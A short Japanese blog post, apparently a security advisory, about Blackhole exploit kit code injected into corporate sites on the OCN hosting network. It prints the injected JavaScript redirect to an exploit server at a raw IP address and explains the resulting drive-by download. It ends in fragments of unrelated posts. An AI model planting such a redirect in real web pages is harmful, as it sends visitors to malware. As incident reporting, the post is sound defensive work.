OCNホスティングネットワークにある企業向けのウェブサイトがBlackholeマルウェアに感染されました。OCNホスティングネットワークにある企業向けのウェブサイトがBlackholeマルウェアに感染されました。Kitに感染された企業ウェブサイトの事件です。hxxp://www.obiecte-sanitare--baie.ro/noYPLZZA/js.js上記のURLには2番目がアクセスが出来ますが(1)と(3)がもうダウンされました。js.jsdocument.location='http://72.46.140.14/showthread.php?t=9d77a9163cda8dbe';↑ユーザが別のURLに飛ばされます。↑さっき確認したらこのままで止まっています。shellcodeが入りました。マルウェアjavascriptを実行されたらパソコンにexploitコードが来る、もしパソコンのAdobe脆弱性に当たったらマルウェアのダウンローダープログラムがPCに保存されて実行してしまう。kitマルウェアに感染されました。■注意点↓blackholeサイトの管理者が本ネットワークを狙ったかと思われます。exloit検索のオートメーションツールを使えばウェブ脆弱性が分かるので、その経由で本件のマルウェア感染ファイルがインジェクトされたそうです。感染が増える可能性が出ます、ご注意下さい。早めにウェブ脆弱性を直したほうがいいと思います。来てくれた皆さんに有難う御座いました。time」リバースエンジニアリングゼロデイが出るといつも大忙し。リバースエンジニアリングの僕らの手が回らない状態です。その↑2件を先に読んで頂ければ以下の情報をもっと理解が出来ると考えています。されているマルウェアデータが何とかPythonで...ElasticsearchのCVE-2015-1427脆弱性を狙っているマルウェアの調査をしました、書いたレポートは下記のURLに確認が出来ます。